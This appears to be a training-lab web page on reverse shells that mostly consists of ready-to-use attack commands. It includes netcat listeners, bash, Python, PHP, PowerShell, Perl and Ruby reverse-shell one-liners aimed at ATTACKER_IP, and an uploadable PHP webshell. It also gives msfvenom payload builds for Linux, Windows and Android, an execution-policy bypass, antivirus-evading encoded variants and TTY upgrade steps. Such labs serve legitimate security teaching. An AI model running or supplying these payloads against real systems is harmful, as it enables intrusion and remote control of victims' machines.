๐ŸŽฏ Lab Objectives

  • Understand the difference between bind shells and reverse shells
  • Set up a netcat listener on your attacker machine
  • Use multiple languages to establish a reverse shell
  • Upgrade a basic shell to a fully interactive TTY
  • Generate payloads with msfvenom for different platforms

Step 1 โ€” Bind Shell vs Reverse Shell

๐Ÿ”’ Bind Shell

Victim opens a port. Attacker connects TO the victim. Blocked by most firewalls.

๐Ÿ”„ Reverse Shell

Victim connects back TO attacker. Bypasses firewalls that block inbound but allow outbound.

Reverse shells are used in 99% of real exploits because most firewalls allow outbound connections but block inbound ones.

Step 2 โ€” Setting Up a Netcat Listener

Before sending any reverse shell, start a listener on your Kali machine to catch the connection.

# Start listener on port 4444
nc -lvnp 4444

# Flags explained:
# -l  โ†’ listen mode
# -v  โ†’ verbose (show connections)
# -n  โ†’ no DNS resolution (faster)
# -p  โ†’ port number

# Use rlwrap for arrow key support (much nicer shell)
rlwrap nc -lvnp 4444

# Your listener is now waiting for the victim to connect
# You need your attacker IP (the IP the victim will connect to)
ip a | grep "inet " | grep -v 127

Step 3 โ€” Bash Reverse Shell

# Run on the VICTIM machine (replace IP + PORT with yours)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Alternative bash variants
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# URL-encoded version (for web exploits)
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

# What this does:
# /dev/tcp/IP/PORT โ†’ Linux's built-in TCP pseudofile
# >& redirects both stdout and stderr to the socket
# 0>&1 redirects stdin from the socket
# Result: your shell commands go over the network

Step 4 โ€” Python Reverse Shell

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Check Python version on victim
python --version
python3 --version

Step 5 โ€” PHP Reverse Shell

# One-liner (for command injection or RCE)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Full PHP reverse shell file (upload as .php webshell)
<?php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

# PentestMonkey PHP reverse shell (most popular)
# Download from: github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port variables, then upload to target

Step 6 โ€” PowerShell (Windows)

# PowerShell reverse shell (run on Windows victim)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Bypass execution policy
powershell -ep bypass -c "..."

# Encoded version (bypasses some AV detection)
# Use revshells.com to generate encoded variants

# Netcat for Windows (if nc.exe is on the system)
nc.exe -e cmd.exe ATTACKER_IP 4444

Step 7 โ€” Upgrading Your Shell (TTY)

A raw reverse shell is limited โ€” no tab completion, arrow keys don't work, Ctrl+C kills the shell. Upgrade it to a full TTY.

# After catching the shell, check what's available
which python python3 perl ruby

# Method 1: Python PTY (most common)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then on your local machine:
Ctrl+Z          # background the shell
stty raw -echo  # set terminal to raw mode
fg              # bring shell back
export TERM=xterm

# Method 2: script
script /dev/null -c bash

# Method 3: socat (best full TTY)
# On attacker โ€” start socat listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On victim โ€” connect back:
socat tcp-connect:ATTACKER_IP:4444 exec:bash,pty,stderr,setsid,sigint,sane

Step 8 โ€” msfvenom Payloads

# Generate a Linux reverse shell binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf

# Windows reverse shell executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Windows with Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meter.exe

# PHP webshell payload
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -o evil.apk

# Catch msfvenom payloads with Metasploit
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; run"

๐Ÿ“‹ Reverse Shell One-Liners

LanguageOne-liner (replace IP/PORT)
Bashbash -i >& /dev/tcp/IP/4444 0>&1
Python 3python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("sh")'
Netcatnc -e /bin/bash IP 4444
Netcat (no -e)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 4444 >/tmp/f
PHPphp -r '$s=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perlperl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Rubyruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
โœ…
Lab Complete! Always upgrade your shell to a full TTY immediately after catching it. Practice on TryHackMe or HackTheBox to get comfortable.
Next: Privilege Escalation โ†’ โ† All Labs
// guided terminal

Try It Live

Type the commands from the steps above. The terminal simulates the expected output for this lab.

KaliRange ~ Terminal type help for commands